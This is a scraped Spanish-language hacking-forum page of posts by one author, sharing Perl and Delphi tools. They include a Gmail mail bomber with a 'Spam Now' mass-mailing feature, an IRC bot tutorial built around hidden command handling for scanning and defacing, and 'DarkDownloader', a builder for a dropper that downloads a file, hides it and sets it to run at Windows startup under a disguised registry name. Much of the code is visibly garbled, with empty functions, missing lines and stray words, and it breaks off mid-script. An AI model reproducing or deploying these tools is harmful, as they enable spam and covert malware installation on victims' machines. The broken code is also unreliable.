Un simple script en perl para sacar un screenshot y subirlo a imageshack. El codigo : #!usr/bin/perl #DH ScreenShoter 0.1 #Coded By Doddy H #ppm install http://www.bribes.org/perl/ppm/Win32-GuiTest.ppd #ppm install http://www.bribes.org/perl/ppm/Crypt-SSLeay.ppd use Win32::GuiTest qw(GetAsyncKeyState GetForegroundWindow GetWindowText FindWindowLike SetForegroundWindow SendKeys ); use Win32::Clipboard; use Time::HiRes "usleep"; use LWP::UserAgent; my $nave = LWP::UserAgent->new; $nave->agent( "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12" ); $nave->timeout(5); $|++; my $time; my $nombrefecha; my ( $dia, $mes, $año, $hora, $minutos, $segundos ) = agarrate_la_hora(); $nombrefecha = $dia . "_" . $mes . "_" . $año . "_" . $hora . "_" . $minutos . "_" . $segundos; my $se = "captures"; unless ( -d $se ) { } head(); print "[+] Save Photo with this name : "; chomp( my $filename = <stdin> ); print "\n[+] Get Photo in this time : "; chomp( my $timeop = <stdin> ); print "\n[+] Open photo after taking it ? : "; chomp( my $load_image = <stdin> ); print "\n[+] Upload image to ImageShack ? : "; chomp( my $imageshack = <stdin> ); print "\n[+] Taking shot in "; if ( $timeop eq "" ) { $time = 1; } else { $time = $timeop; } for my $num ( reverse 1 .. $time ) { } if ( $filename eq "" ) { capturar_pantalla( $nombrefecha . ".jpg" ); } else { capturar_pantalla($filename); } print "\n\n[+] Photo Taken\n"; if ( $imageshack =~ /y/ ) { if ( $filename eq "" ) { subirarchivo( $nombrefecha . ".jpg" ); } else { subirarchivo($filename); } } if ( $load_image =~ /y/ ) { if ( $filename eq "" ) { system( $nombrefecha. ".jpg" ); } else { } } copyright(); ## Functions sub subirarchivo { my $your_key = "fuck you"; #Your API Key print "\n[+] Uploading ...\n"; my $code = $nave->post( "https://post.imageshack.us/upload_api.php", Content_Type => "form-data", Content => [ key => $your_key, fileupload => [ $_[0] ], ] )->content; if ( $code =~ /"image_link":"(.*?)"/ ) { print "\n[+] Link : " . $1 . "\n"; } else { print "\n[-] Error uploading the image\n"; } } sub head { my @logo = ( "#=============================================#", "\n", "# DH ScreenShoter 0.1 #", "\n", "#---------------------------------------------#", "\n", "# Written By Doddy H #", "\n", "# Email: lepuke[at]hotmail[com] #", "\n", "# Website: doddyhackman.webcindario.com #", "\n", "#---------------------------------------------#", "\n", "# The End ? #", "\n", "#=============================================#", "\n" ); marquesina(@logo); } sub copyright { my @fin = ("-- == (C) Doddy Hackman 2012 == --"); marquesina(@fin); <stdin>; } sub capturar_pantalla { SendKeys("%{PRTSCR}"); my $a = Win32::Clipboard::GetBitmap(); open( FOTO , ">" . $_[0] ); } sub marquesina { #Effect based in the exploits by Jafer Al Zidjali my @logo = @_; my $car = "|"; for my $uno (@logo) { for my $dos ( split //, $uno ) { $|++; if ( $car eq "|" ) { mostrar( "\b" . $dos . $car, "/" ); } elsif ( $car eq "/" ) { mostrar( "\b" . $dos . $car, "-" ); } elsif ( $car eq "-" ) { mostrar( "\b" . $dos . $car, "\\" ); } else { mostrar( "\b" . $dos . $car, "|" ); } usleep(40_000); } } sub mostrar { $car = $_[1]; } } sub agarrate_la_hora { $f += 1900; $e++; $d, $e, $f, $c, $b, $a ); } ## The End ?
|
|
|
188
|
Programación / Scripting / [Perl Tk] DH Bomber 0.2
|
en: 27 Septiembre 2013, 17:50 pm
|
Un simple script para mandar mensajes de correo a donde quieran , para usarlo necesitan una cuenta en gmail , lo nuevo de esta version es que use otro modulo que hace que el script no tenga tantas dependencias como en la ultima version. El codigo : #!usr/bin/perl #DH Bomber 0.2 #Coded By Doddy H use Win32::OLE; head(); chomp( my $host = <stdin> ); chomp( my $puerto = <stdin> ); print "\n[+] Username : "; chomp( my $username = <stdin> ); print "\n[+] Password : "; chomp( my $password = <stdin> ); print "\n[+] Count Message : "; chomp( my $count = <stdin> ); chomp( my $to = <stdin> ); print "\n[+] Subject : "; chomp( my $asunto = <stdin> ); chomp( my $body = <stdin> ); print "\n[+] File to Send : "; chomp( my $file = <stdin> ); print "\n[+] Starting ...\n\n"; for my $num ( 1 .. $count ) { print "[+] Sending Message : $num\n"; sendmail( $host, $puerto, $username, $password, $username, $username, $username, $to, $asunto, $body, $file ); } print "\n[+] Finished\n"; copyright(); sub head { print "\n\n-- == DH Bomber 0.2 == --\n\n"; } sub copyright { print "\n\n(C) Doddy Hackman 2013\n\n"; } sub sendmail { ## Function Based on : http://code.activestate.com/lists/pdk/5351/ ## Credits : Thanks to Phillip Richcreek and Eric Promislow my ( $host, $port, $username, $password, $from, $cc, $bcc, $to, $asunto, $mensaje, $file ) = @_; $correo = Win32::OLE->new('CDO.Message'); $correo->Configuration->Fields->SetProperty( "Item", 'http://schemas.microsoft.com/cdo/configuration/sendusername', $username ); $correo->Configuration->Fields->SetProperty( "Item", 'http://schemas.microsoft.com/cdo/configuration/sendpassword', $password ); $correo->Configuration->Fields->SetProperty( "Item", 'http://schemas.microsoft.com/cdo/configuration/smtpserver', $host ); $correo->Configuration->Fields->SetProperty( "Item", 'http://schemas.microsoft.com/cdo/configuration/smtpserverport', $port ); $correo->Configuration->Fields->SetProperty( "Item", 'http://schemas.microsoft.com/cdo/configuration/smtpusessl', 1 ); $correo->Configuration->Fields->SetProperty( "Item", 'http://schemas.microsoft.com/cdo/configuration/sendusing', 2 ); $correo->Configuration->Fields->SetProperty( "Item", 'http://schemas.microsoft.com/cdo/configuration/smtpauthenticate', 1 ); $correo->Configuration->Fields->Update(); if ( -f $file ) { $correo->AddAttachment($file); } $correo->{From} = $from; $correo->{CC} = $cc; $correo->{BCC} = $bcc; $correo->{To} = $to; $correo->{Subject} = $asunto; $correo->{TextBody} = $mensaje; $correo->Send(); } # The End ?
Y aca les dejo la version Tk. Una imagen : El codigo : #!usr/bin/perl #DH Bomber 0.2 #Coded By Doddy H use Tk; use Tk::ROText; use Tk::FileSelect; use Cwd; use Win32::OLE; if ( $^O eq 'MSWin32' ) { use Win32::Console; Win32::Console::Free(); } my $color_fondo = "black"; my $color_texto = "white"; my $ve = MainWindow->new( -background => $color_fondo, -foreground => $color_texto ); $ve->geometry("920x560+20+20"); $ve->resizable( 0, 0 ); $ve->title("DH Bomber 0.2 (C) Doddy Hackman 2013"); $d = $ve->Frame( -relief => "sunken", -bd => 1, -background => $color_fondo, -foreground => $color_texto ); my $ma = $d->Menubutton( -text => "Mails", -underline => 1, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->pack( -side => "left" ); my $op = $d->Menubutton( -text => "Options", -underline => 1, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->pack( -side => "left" ); my $ab = $d->Menubutton( -text => "About", -underline => 1, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->pack( -side => "left" ); my $ex = $d->Menubutton( -text => "Exit", -underline => 1, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->pack( -side => "left" ); $d->pack( -side => "top", -fill => "x" ); $ma->command( -label => "Add Mailist", -background => $color_fondo, -foreground => $color_texto, -command => \&addmailist ); $ma->command( -label => "Add Mail", -background => $color_fondo, -foreground => $color_texto, -command => \&addmail ); $ma->command( -label => "Clean List", -background => $color_fondo, -foreground => $color_texto, -command => \&delist ); $op->command( -label => "Spam Now", -background => $color_fondo, -foreground => $color_texto, -command => \&spamnow ); $op->command( -label => "Add Attachment", -background => $color_fondo, -foreground => $color_texto, -command => \&addfile ); $op->command( -label => "Clean All", -background => $color_fondo, -foreground => $color_texto, -command => \&clean ); $ab->command( -label => "About", -background => $color_fondo, -foreground => $color_texto, -command => \&about ); $ex->command( -label => "Exit", -background => $color_fondo, -foreground => $color_texto, -command => \&chali ); $ve->Label( -text => "Gmail Login", -font => "Impact3", -background => $color_fondo, -foreground => $color_texto )->place( -x => 100, -y => 40 ); $ve->Label( -text => "Username : ", -background => $color_fondo, -foreground => $color_texto )->place( -x => 20, -y => 80 ); my $user = $ve->Entry( -width => 30, -text => 'lagartojuancho@gmail.com', -background => $color_fondo, -foreground => $color_texto )->place( -y => 83, -x => 85 ); $ve->Label( -text => "Password : ", -background => $color_fondo, -foreground => $color_texto )->place( -x => 20, -y => 120 ); my $pass = $ve->Entry( -show => "*", -width => 30, -text => 'Secret', -background => $color_fondo, -foreground => $color_texto )->place( -y => 123, -x => 85 ); $ve->Label( -text => "Message", -font => "Impact3", -background => $color_fondo, -foreground => $color_texto )->place( -x => 110, -y => 160 ); $ve->Label( -text => "Number : ", -background => $color_fondo, -foreground => $color_texto )->place( -x => 20, -y => 210 ); my $number = $ve->Entry( -width => 5, -text => "1", -background => $color_fondo, -foreground => $color_texto )->place( -x => 75, -y => 212 ); $ve->Label( -text => "Attachment : ", -background => $color_fondo, -foreground => $color_texto )->place( -x => 20, -y => 240 ); my $fi = $ve->Entry( -text => 'None', -width => 30, -background => $color_fondo, -foreground => $color_texto )->place( -x => 90, -y => 242 ); $ve->Label( -text => "Subject : ", -background => $color_fondo, -foreground => $color_texto )->place( -x => 20, -y => 270 ); my $tema = $ve->Entry( -text => "Hi idiot", -width => 20, -background => $color_fondo, -foreground => $color_texto )->place( -x => 73, -y => 273 ); $ve->Label( -text => "Body", -font => "Impact3", -background => $color_fondo, -foreground => $color_texto )->place( -x => 110, -y => 310 ); my $body = $ve->Scrolled( "Text", -width => 30, -height => 12, -background => $color_fondo, -foreground => $color_texto, -scrollbars => "e" )->place( -x => 45, -y => 350 ); $body->insert( "end", "Welcome to the hell" ); $ve->Label( -text => "Mailist", -font => "Impact3", -background => $color_fondo, -foreground => $color_texto )->place( -y => 40, -x => 400 ); my $mailist = $ve->Listbox( -height => 31, -width => 33, -background => $color_fondo, -foreground => $color_texto )->place( -y => 85, -x => 330 ); $ve->Label( -text => "Console", -font => "Impact3", -background => $color_fondo, -foreground => $color_texto )->place( -y => 40, -x => 685 ); my $console = $ve->Scrolled( "ROText", -width => 40, -height => 31, -background => $color_fondo, -foreground => $color_texto, -scrollbars => "e" )->place( -x => 580, -y => 84 ); MainLoop; sub addmailist { my $adda = MainWindow->new( -background => $color_fondo, -foreground => $color_texto ); $adda->geometry("400x90+20+20"); $adda->resizable( 0, 0 ); $adda->title("Add Mailist"); $adda->Label( -text => "Mailist : ", -background => $color_fondo, -foreground => $color_texto, -font => "Impact1" )->place( -x => 10, -y => 30 ); my $en = $adda->Entry( -background => $color_fondo, -foreground => $color_texto, -width => 33 )->place( -y => 33, -x => 75 ); $adda->Button( -text => "Browse", -background => $color_fondo, -foreground => $color_texto, -width => 7, -activebackground => $color_texto, -command => \&brona )->place( -y => 33, -x => 285 ); $adda->Button( -text => "Load", -background => $color_fondo, -foreground => $color_texto, -width => 7, -activebackground => $color_texto, -command => \&bronaxa )->place( -y => 33, -x => 340 ); sub brona { $browse = $adda->FileSelect( -directory => getcwd() ); my $file = $browse->Show; $en->configure( -text => $file ); } sub bronaxa { @words = <FILE>; for (@words) { $mailist->insert( "end", $_ ); } } } sub addfile { my $addax = MainWindow->new( -background => $color_fondo, -foreground => $color_texto ); $addax->geometry("390x90+20+20"); $addax->resizable( 0, 0 ); $addax->title("Add File"); $addax->Label( -text => "File : ", -background => $color_fondo, -foreground => $color_texto, -font => "Impact1" )->place( -x => 10, -y => 30 ); my $enaf = $addax->Entry( -background => $color_fondo, -foreground => $color_texto, -width => 33 )->place( -y => 33, -x => 55 ); $addax->Button( -text => "Browse", -background => $color_fondo, -foreground => $color_texto, -width => 7, -activebackground => $color_texto, -command => \&bronax )->place( -y => 33, -x => 265 ); $addax->Button( -text => "Load", -background => $color_fondo, -foreground => $color_texto, -width => 7, -activebackground => $color_texto, -command => \&bronaxx )->place( -y => 33, -x => 320 ); sub bronax { $browse = $addax->FileSelect( -directory => getcwd() ); my $filea = $browse->Show; $enaf->configure( -text => $filea ); } sub bronaxx { $fi->configure( -text => $enaf->get ); } } sub addmail { my $add = MainWindow->new( -background => $color_fondo, -foreground => $color_texto ); $add->geometry("350x90+20+20"); $add->resizable( 0, 0 ); $add->title("Add Mail"); $add->Label( -text => "Mail : ", -background => $color_fondo, -foreground => $color_texto, -font => "Impact1" )->place( -x => 10, -y => 30 ); my $ew = $add->Entry( -background => $color_fondo, -foreground => $color_texto, -width => 33 )->place( -y => 33, -x => 60 ); $add->Button( -text => "Add", -background => $color_fondo, -activebackground => $color_texto, -foreground => $color_texto, -width => 7, -command => \&addnow )->place( -y => 33, -x => 275 ); sub addnow { $mailist->insert( "end", $ew->get ); } } sub delist { $mailist->delete( 0.0, "end" ); } sub spamnow { $console->delete( 0.1, "end" ); $console->insert( "end", "[+] Starting the Party\n\n" ); my @mails = $mailist->get( "0.0", "end" ); for my $mail (@mails) { my $text = $body->get( "1.0", "end" ); if ( $fi->get eq "None" ) { for ( 1 .. $number->get ) { $ve->update; $console->insert( "end", "[+] Mail Number " . $_ . " to $mail\n" ); sendmail( "smtp.gmail.com", "465", $user->get, $pass->get, $user->get, $user->get, $user->get, $mail, $tema->get, $text, "" ); } } else { for ( 1 .. $number->get ) { $ve->update; $console->insert( "end", "[+] Mail Number " . $_ . " to $mail\n" ); sendmail( "smtp.gmail.com", "465", $user->get, $pass->get, $user->get, $user->get, $user->get, $mail, $tema->get, $text, $fi->get ); } } } $console->insert( "end", "\n\n[+] Finished" ); } sub clean { $user->configure( -text => " " ); $pass->configure( -text => " " ); $number->configure( -text => " " ); $fi->configure( -text => "None" ); $tema->configure( -text => " " ); $body->delete( 0.1, "end" ); $mailist->delete( 0.0, "end" ); $console->delete( 0.1, "end" ); } sub about { $about = MainWindow->new( -background => "black" ); $about->title("About"); $about->geometry("300x110"); $about->resizable( 0, 0 ); $about->Label( -background => "black", -foreground => "white" )->pack(); $about->Label( -text => "Contact : lepuke[at]hotmail[com]", -font => "Impact", -background => "black", -foreground => "white" )->pack(); $about->Label( -text => "Web : doddyhackman.webcindario.com", -font => "Impact", -background => "black", -foreground => "white" )->pack(); $about->Label( -text => "Blog : doddy-hackman.blogspot.com", -font => "Impact", -background => "black", -foreground => "white" )->pack(); } sub sendmail { ## Function Based on : http://code.activestate.com/lists/pdk/5351/ ## Credits : Thanks to Phillip Richcreek and Eric Promislow my ( $host, $port, $username, $password, $from, $cc, $bcc, $to, $asunto, $mensaje, $file ) = @_; $correo = Win32::OLE->new('CDO.Message'); $correo->Configuration->Fields->SetProperty( "Item", 'http://schemas.microsoft.com/cdo/configuration/sendusername', $username ); $correo->Configuration->Fields->SetProperty( "Item", 'http://schemas.microsoft.com/cdo/configuration/sendpassword', $password ); $correo->Configuration->Fields->SetProperty( "Item", 'http://schemas.microsoft.com/cdo/configuration/smtpserver', $host ); $correo->Configuration->Fields->SetProperty( "Item", 'http://schemas.microsoft.com/cdo/configuration/smtpserverport', $port ); $correo->Configuration->Fields->SetProperty( "Item", 'http://schemas.microsoft.com/cdo/configuration/smtpusessl', 1 ); $correo->Configuration->Fields->SetProperty( "Item", 'http://schemas.microsoft.com/cdo/configuration/sendusing', 2 ); $correo->Configuration->Fields->SetProperty( "Item", 'http://schemas.microsoft.com/cdo/configuration/smtpauthenticate', 1 ); $correo->Configuration->Fields->Update(); if ( -f $file ) { $correo->AddAttachment($file); } $correo->{From} = $from; $correo->{CC} = $cc; $correo->{BCC} = $bcc; $correo->{To} = $to; $correo->{Subject} = $asunto; $correo->{TextBody} = $mensaje; $correo->Send(); } #The End ?
|
|
|
189
|
Seguridad Informática / Análisis y Diseño de Malware / [Delphi] Creacion de un IRC Bot
|
en: 24 Septiembre 2013, 21:37 pm
|
[Titulo] : Creacion de un IRC Bot [Lenguaje] : Delphi [Autor] : Doddy Hackman [Temario] -- =================-------- 0x01 : Introduccion 0x02 : Conectando con el servidor 0x03 : Listando usuarios 0x04 : Mandar mensajes 0x05 : Recibir privados 0x06 : Reconocer comandos 0x07 : Testeando 0x08 : Bibliografia -- =================-------- 0x01 : Introduccion Bueno , voy a empezar este manual sobre como hacer un bot irc. Para este manual necesitan tener instalado TIdIRC y TPerlRegEx en Delphi , el primero me vino por defecto en Delphi 2010 y el segundo lo pueden bajar e instalar acaNota : Proximamente presentare mi irc bot llamado Claptrap en honor al robot de bordelands xDD. ¿ Que es IRC ? Segun wikipedia , IRC (Internet Relay Chat) es un protocolo de comunicación en tiempo real basado en texto, que permite debates entre dos o más personas. Se diferencia de la mensajería instantánea en que los usuarios no deben acceder a establecer la comunicación de antemano, de tal forma que todos los usuarios que se encuentran en un canal pueden comunicarse entre sí, aunque no hayan tenido ningún contacto anterior. Las conversaciones se desarrollan en los llamados canales de IRC, designados por nombres que habitualmente comienzan con el carácter # o & (este último sólo es utilizado en canales locales del servidor). Es un sistema de charlas ampliamente utilizado por personas de todo el mundo. 0x02 : Conectando con el servidor Lo de siempre , creamos un proyecto nuevo de la siguiente forma : File->New->VCL Forms Application , como en la siguiente imagen. Una vez hecho esto vamos a crear la interfaz para todo el manual. Lo que vamos a necesitar es usar : 6 Labels 3 Edit 3 Botones 1 ListBox (para los usuarios conectados) 2 Memo Y los componentes TPerlRegEx y IdIRC Una imagen de como deberia quedar : Una vez hecho esto llego la hora de realizar la conexion , entonces hacemos doble click en el boton de "conectar" o el nombre que le pusieron ustedes para poner el siguiente codigo : procedure TForm1.Button1Click(Sender: TObject); begin IdIRC1.Host := Edit1.Text; // Usamos el contenido de Edit1 para reconocer el host a conectarse IdIRC1.Port := 6667; // Usamos 6667 para el puerto del host IdIRC1.Nickname := Edit3.Text; // Usamos el contenido de Edit3.Text como nickname IdIRC1.Username := Edit3.Text + ' 1 1 1 1'; // Declaramos el username para entrar IdIRC1.AltNickname := Edit3.Text + '-123'; // Declaramos el nick alternativo try // Intentamos hacer esto .... begin IdIRC1.Connect; // Iniciamos la conexion IdIRC1.Join(Edit2.Text); // Usamos Edit2 como el nombre del canal a entrar end; except // Si algo sale mal ... begin ShowMessage('Error'); // Mostramos error con ShowMessage() end; end; end;
Una imagen de como quedo : Con esto ya tenemos la conexion entonces usamos el segundo boton llamado "desconectar" o el nombre que ustedes le pusieron , hacemos doble click y agregamos este codigo : procedure TForm1.Button2Click(Sender: TObject); begin IdIRC1.Disconnect; // Nos desconectamos del canal en el que estamos end;
Se podria decir que con esto ya tenemos para conectarnos y desconectarmos del canal sin ningun problema. Pero para variar las cosas vamos a usar el memo1 como consola de las cosas que pasan durante la conexion , entonces vamos al diseño del formulario , buscamos el IdIRC1 , le hacemos un solo click y nos fijamos en object inspector para despues ir a la parte de eventos , buscamos el evento OnRaw , le hacemos doble click y agregamos este codigo : procedure TForm1.IdIRC1Raw(ASender: TIdContext; AIn: Boolean; const AMessage: string); begin Memo1.Lines.Add(AMessage); // Agregamos al memo1 lo que AMessage recibe end;
Una imagen de donde esta la parte del evento y de paso muestro como quedo el codigo : Eso seria la parte de como conectarnos y desconectarnos de un canal irc. 0x03 : Listando usuarios Esta es la parte en la que usamos PerlRegEx , que es un componente que nos permite usar las expresiones regualares de Perl en Delphi. Entonces buscamos el evento "NicknamesListReceived" en el componente IdIRC1 que esta en el formulario para hacer doble click en el evento y poner el siguiente codigo. procedure TForm1.IdIRC1NicknamesListReceived (ASender: TIdContext; const AChannel: string; ANicknameList: TStrings); var i: integer; // Declaramos i como entero i2: integer; // Declaramos i2 como entero renicks: string; // Declaramos renicks como string listanow: TStringList; // Declaramos listanow como StringList arraynow: array of String; // Declaramos arraynow como array of string begin ListBox1.Clear; // Limpiamos el contenido de ListBox1 for i := 0 to ANicknameList.Count - 1 do // Listamos con for los nicks que se encuentran // en ANicknameList begin PerlRegEx1.Regex := '(.*) = ' + Edit2.Text + ' :(.*)'; // Establecemos la expresion regular // a usar PerlRegEx1.Subject := ANicknameList[i]; // Buscamos el nick en ANicknameList if PerlRegEx1.Match then // Si perlregex encuentra algo ... begin renicks := PerlRegEx1.SubExpressions[2]; // Declaramos como renicks el segundo resultado de // la expresion regular renicks := StringReplace(renicks, Edit3.Text, '', []); // Borramos de renicks el nombre // de nuestro bot listanow := TStringList.Create; // Declaramos como TStringList a listanow listanow.Delimiter := ' '; // Establecemos que se busque los nicks entre espacios en blanco listanow.DelimitedText := renicks; // Realizamos la busqueda for i2 := 0 to listanow.Count - 1 do // Listamos la lista 'listanow' que contiene los nicks begin ListBox1.Items.Add(listanow[i2]); // Agregamos a ListBox1 los nicks encontrados end; end; end; end;
Les dejo una imagen de como nos deberia quedar el codigo y de donde esta el evento que usamos. 0x04 : Mandar mensajes Mandar mensajes usando el componente de indy es muy facil , solo tenemos que hacer doble click en el tercer boton , en mi caso le puse de texto "spam now" , ustedes pueden ponerle el que quieran , cuando este en el codigo del formulario en la parte del tercer boton pongan el siguiente codigo. procedure TForm1.Button3Click(Sender: TObject); var i: integer; // Declaramos i como entero begin IdIRC1.Say(Edit2.Text, 'hola publico'); // Mandamos un mensaje publico al canal en el que // estamos for i := 0 to ListBox1.Count - 1 do // Abrimos los items de listbox usando un for begin IdIRC1.Say(ListBox1.Items[i], 'hola privado'); // Mandamos un privado al nick de la lista end; end;
Una imagen de como les deberia quedar el codigo : 0x05 : Recibir privados Otra cosa facil de hacer gracias a el componente de indy es que se pueden recibir y leer los mensajes privados que nos mandan , para hacer esto vamos al evento OnPrivateMessage de IdIRC y ponemos el siguiente codigo. procedure TForm1.IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom, AHost, ANicknameTo, AMessage: string); begin Memo3.Lines.Add(ANicknameFrom + ' : ' + AMessage); // Mostramos en el memo3 el nickname // de quien nos esta mandando el mensaje y ':' que separa el nick del mensaje que nos // enviaron end;
Una imagen de donde esta el evento y como quedo el codigo. 0x06 : Reconocer comandos Esta es la parte mas importante en un irc bot , que es para poder mandar comandos al bot o hacer cierta cosa como un SQLiScanner o AdminFinder u otra cosa para dichoso Defacing. Para hacer esto nos vamos a basar en mensajes privados , de esa forma no estamos delatando al bot en el canal publico , entonces volvemos al evento OnPrivateMessage del punto anterior para actualizarlo con este codigo nuevo : procedure TForm1.IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom, AHost, ANicknameTo, AMessage: string); begin Memo3.Lines.Add(ANicknameFrom + ' : ' + AMessage); // Mostramos en el memo3 el nickname // de quien nos esta mandando el mensaje y tambien ':' que separa el nick del mensaje que nos // enviaron PerlRegEx1.Regex := '!help'; // Usamos esta linea para comprobar si AMessage contiene !help PerlRegEx1.Subject := AMessage; // Buscamos en AMessage if PerlRegEx1.Match then // Si se encontro .... begin IdIRC1.Say(ANicknameFrom, 'el comando disponible es : !scanear <cmd1> <cmd2>'); // Respondemos // con el unico comando disponible end; PerlRegEx1.Regex := '!scanear (.*) (.*)'; // Capturamos lo que se encuentre a la derecha de // !scanear y hacemos un espacio para capturar lo que // esta al lado de lo que encontramos // en realidad son dos comandos PerlRegEx1.Subject := AMessage; // Buscamos los dos comandos en AMessage que // contiene el mensaje que nos estan enviando if PerlRegEx1.Match then // Si se encontro algo ... begin IdIRC1.Say(ANicknameFrom, 'comando 1 : ' + PerlRegEx1.SubExpressions[1]); // Le respondemos // al que nos envio el mensaje privado con el valor del primer comando que nos envio IdIRC1.Say(ANicknameFrom, 'comando 2 : ' + PerlRegEx1.SubExpressions[2]); // Le respondemos // al que nos envio el mensaje privado con el valor del segundo comando que nos envio end; end;
Una imagen de donde esta el evento y de como quedo el codigo. 0x07 : Testeando Una vez hecho todo esto podemos probar como quedo todo , les dejo unas imagenes que de como funciona. Eso seria todo 0x08 : Bibliografia http://es.wikipedia.org/wiki/Internet_Relay_Chathttp://delphiallimite.blogspot.com.ar/2007/09/creando-un-cliente-de-chat-irc-con-indy_18.htmlhttp://delphiallimite.blogspot.com.ar/2007/09/creando-un-cliente-de-chat-irc-con-indy.html--========-- The End ? --========-- Version PDF
|
|
|
190
|
Programación / Scripting / [Perl Tk] DarkDownloader 0.1
|
en: 20 Septiembre 2013, 20:56 pm
|
Un simple script en perl para descargar archivos con las siguientes opciones : - Bajar el archivo y cambiar el nombre
- Mover a otro directorio el archivo descargado
- Ocultar archivo
- Cargar cada vez que inicie Windows
- Autoborrarse despues de terminar todo
Una imagen : El codigo : #!usr/bin/perl #DarkDownloader 0.1 #Coded By Doddy H #Command : perl2exe -gui gen_download.pl use Tk; my $color_fondo = "black"; my $color_texto = "green"; if ( $^O eq 'MSWin32' ) { use Win32::Console; Win32::Console::Free(); } my $ven = MainWindow->new( -background => $color_fondo, -foreground => $color_texto ); $ven->geometry("340x320+20+20"); $ven->resizable( 0, 0 ); $ven->title("DarkDownloader 0.1"); $ven->Label( -text => "Link : ", -font => "Impact", -background => $color_fondo, -foreground => $color_texto )->place( -x => 20, -y => 20 ); my $link = $ven->Entry( -text => "http://localhost/test.exe", -width => 40, -background => $color_fondo, -foreground => $color_texto )->place( -x => 60, -y => 25 ); $ven->Label( -text => "-- == Options == --", -background => $color_fondo, -foreground => $color_texto, -font => "Impact" )->place( -x => 90, -y => 60 ); $ven->Checkbutton( -activebackground => $color_texto, -background => $color_fondo, -foreground => $color_texto, -text => "Save File with this name : ", -variable => \$op_save_file_name )->place( -x => 20, -y => 100 ); my $save_file_with_name = $ven->Entry( -width => 20, -text => "testar.exe", -background => $color_fondo, -foreground => $color_texto )->place( -x => 170, -y => 100 ); $ven->Checkbutton( -activebackground => $color_texto, -background => $color_fondo, -foreground => $color_texto, -text => "Save File in this directory : ", -variable => \$op_save_in_dir )->place( -x => 20, -y => 130 ); my $save_file_in_this_dir = $ven->Entry( -background => $color_fondo, -foreground => $color_texto, -width => 20, -text => "C:/WINDOWS/sexnow/" )->place( -x => 170, -y => 130 ); $ven->Checkbutton( -activebackground => $color_texto, -background => $color_fondo, -foreground => $color_texto, -text => "Hide File", -variable => \$op_hide )->place( -x => 20, -y => 160 ); $ven->Checkbutton( -activebackground => $color_texto, -background => $color_fondo, -foreground => $color_texto, -text => "Load each time you start Windows", -variable => \$op_regedit )->place( -x => 20, -y => 190 ); $ven->Checkbutton( -activebackground => $color_texto, -background => $color_fondo, -foreground => $color_texto, -text => "AutoDelete", -variable => \$op_chau )->place( -x => 20, -y => 220 ); $ven->Button( -command => \&genow, -activebackground => $color_texto, -background => $color_fondo, -foreground => $color_texto, -text => "Generate !", -font => "Impact", -width => 30 )->place( -x => 40, -y => 260 ); MainLoop; sub genow { my $code_now = q(#!usr/bin/perl #DarkDownloader 0.1 #Coded By Doddy H use LWP::UserAgent; use File::Basename; use Win32::File; use Win32::TieRegistry( Delimiter => "/" ); use Cwd; my $nave = LWP::UserAgent->new; $nave->agent( "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12" ); $nave->timeout(5); # Config my $link = "ACA_VA_TU_LINK"; my $op_bajar_con_este_nombre = ACA_VA_TU_OP_NOMBRE; my $op_bajar_con_este_nombrex = "ACA_VA_TU_OP_NOMBREX"; my $op_en_este_dir = ACA_VA_TU_OP_DIR; my $op_en_este_dirx = "ACA_VA_TU_OP_DIRX"; my $op_ocultar_archivos = ACA_VA_TU_OP_HIDE; my $op_agregar_al_registro = ACA_VA_TU_OP_REG; my $op_chau = ACA_VA_TU_CHAU; # # Download File if ( $op_bajar_con_este_nombre eq 1 ) { download( $link, $op_bajar_con_este_nombrex ); } else { download( $link, basename($link) ); } # Change Directory if ( $op_en_este_dir eq 1 ) { unless ( -d $op_en_este_dirx ) { mkdir( $op_en_este_dirx, 777 ); } if ( $op_bajar_con_este_nombre eq 1 ) { move( $op_bajar_con_este_nombrex, $op_en_este_dirx . "/" . $op_bajar_con_este_nombrex ); } else { move( basename($link), $op_en_este_dirx ); } } # HIDE FILES if ( $op_ocultar_archivos eq 1 ) { hideit( basename($link), "hide" ); hideit( $op_en_este_dirx, "hide" ); hideit( $op_en_este_dirx . "/" . $op_bajar_con_este_nombrex, "hide" ); } # REG ADD if ( $op_agregar_al_registro eq 1 ) { if ( $op_bajar_con_este_nombre eq 1 ) { if ( $op_en_este_dir eq 1 ) { $Registry->{ "LMachine/Software/Microsoft/Windows/CurrentVersion/Run//system34" } = $op_en_este_dirx . "/" . $op_bajar_con_este_nombrex; } else { $Registry->{ "LMachine/Software/Microsoft/Windows/CurrentVersion/Run//system34" } = getcwd() . "/" . $op_bajar_con_este_nombrex; } } else { if ( $op_en_este_dir eq 1 ) { $Registry->{ "LMachine/Software/Microsoft/Windows/CurrentVersion/Run//system34" } = $op_en_este_dirx . "/" . basename($link); } else { $Registry->{ "LMachine/Software/Microsoft/Windows/CurrentVersion/Run//system34" } = getcwd() . "/" . basename($link); } } } ## Boom ! if ( $op_chau eq 1 ) { } ## sub hideit { if ( $_[1] eq "show" ) { Win32::File::SetAttributes( $_[0], NORMAL ); } elsif ( $_[1] eq "hide" ) { winkey Win32::File::SetAttributes( $_[0], HIDDEN ); } } sub download { if ( $nave->mirror( $_[0], $_[1] ) ) { if ( -f $_[1] ) { } } } # The End ?); my $link = $link->get; my $new_file = $save_file_with_name->get; my $new_dir = $save_file_in_this_dir->get; $code_now =~ s/ACA_VA_TU_LINK/$link/; if ( $op_save_file_name eq 1 ) { $code_now =~ s/ACA_VA_TU_OP_NOMBRE/1/; } else { $code_now =~ s/ACA_VA_TU_OP_NOMBRE/0/; } $code_now =~ s/ACA_VA_TU_OP_NOMBREX/$new_file/; if ( $op_save_in_dir eq 1 ) { $code_now =~ s/ACA_VA_TU_OP_DIR/1/; } else { $code_now =~ s/ACA_VA_TU_OP_DIR/0/; } $code_now =~ s/ACA_VA_TU_OP_DIRX/$new_dir/; if ( $op_hide eq 1 ) { $code_now =~ s/ACA_VA_TU_OP_HIDE/1/; } else { $code_now =~ s/ACA_VA_TU_OP_HIDE/0/; } if ( $op_regedit eq 1 ) { $code_now =~ s/ACA_VA_TU_OP_REG/1/; 